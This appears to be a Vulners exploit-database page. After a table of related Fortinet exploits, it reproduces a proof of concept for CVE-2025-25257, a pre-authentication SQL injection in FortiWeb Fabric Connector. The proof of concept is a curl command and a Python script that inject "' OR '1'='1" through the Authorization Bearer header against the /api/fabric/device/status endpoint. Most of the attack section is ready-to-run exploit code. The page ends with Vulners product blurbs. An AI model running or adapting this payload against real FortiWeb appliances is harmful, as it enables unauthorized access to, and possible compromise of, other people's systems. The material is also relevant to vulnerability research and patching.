| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
| Exploit for SQL Injection in Fortinet Fortiweb | 12 Jul 202500:05 | – | githubexploit | |
| Exploit for SQL Injection in Fortinet Fortiweb | 12 Jul 202515:14 | – | githubexploit | |
| Exploit for SQL Injection in Fortinet Fortiweb | 1 Mar 202619:07 | – | githubexploit | |
| Exploit for SQL Injection in Fortinet Fortiweb | 19 Jul 202515:55 | – | githubexploit | |
| Exploit for SQL Injection in Fortinet Fortiweb | 10 Jul 202517:08 | – | githubexploit | |
| Exploit for Path Traversal in Fortinet Fortiweb | 3 Nov 202509:01 | – | githubexploit | |
| Exploit for SQL Injection in Fortinet Fortiweb | 11 Jul 202512:09 | – | githubexploit | |
| Exploit for SQL Injection in Fortinet Fortiweb | 16 Dec 202510:23 | – | githubexploit | |
| Exploit for Improper Validation of Certificate with Host Mismatch in Fortinet Fortiproxy | 3 Nov 202509:00 | – | githubexploit | |
| Exploit for SQL Injection in Fortinet Fortiweb | 12 Jul 202514:44 | – | githubexploit |
# Exploit Title: FortiWeb Fabric Connector 7.6.x - Pre-authentication SQL
Injection to Remote Code Execution
# Date: 2025-10-05
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: [email protected]
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win, Ubuntu
# CVE : CVE-2025-25257
Overview
CVE-2025-25257 is a pre-authentication SQL Injection vulnerability in
Fortinet FortiWeb Fabric Connector versions 7.0 through 7.6.x.
This flaw allows attackers to inject malicious SQL commands into the
vulnerable API endpoint, potentially leading to Remote Code Execution (RCE).
PoC
curl -k -H "Authorization: Bearer aaa' OR '1'='1" \
https://<fortiweb-ip>/api/fabric/device/status
PoC Python
import requests
def test_sqli(base_url):
url = f"{base_url}/api/fabric/device/status"
headers = {
"Authorization": "Bearer aaa' OR '1'='1"
}
try:
response = requests.get(url, headers=headers, verify=False,
timeout=10)
print(f"Status code: {response.status_code}")
print("Response body:")
print(response.text)
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="PoC SQLi By Ex3ptionaL
CVE-2025-25257 FortiWeb")
parser.add_argument("base_url", help="Base URL of FortiWeb (ex:
https://10.0.0.5)")
args = parser.parse_args()
test_sqli(args.base_url)
# python3 src/poc.py https://10.0.0.5Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation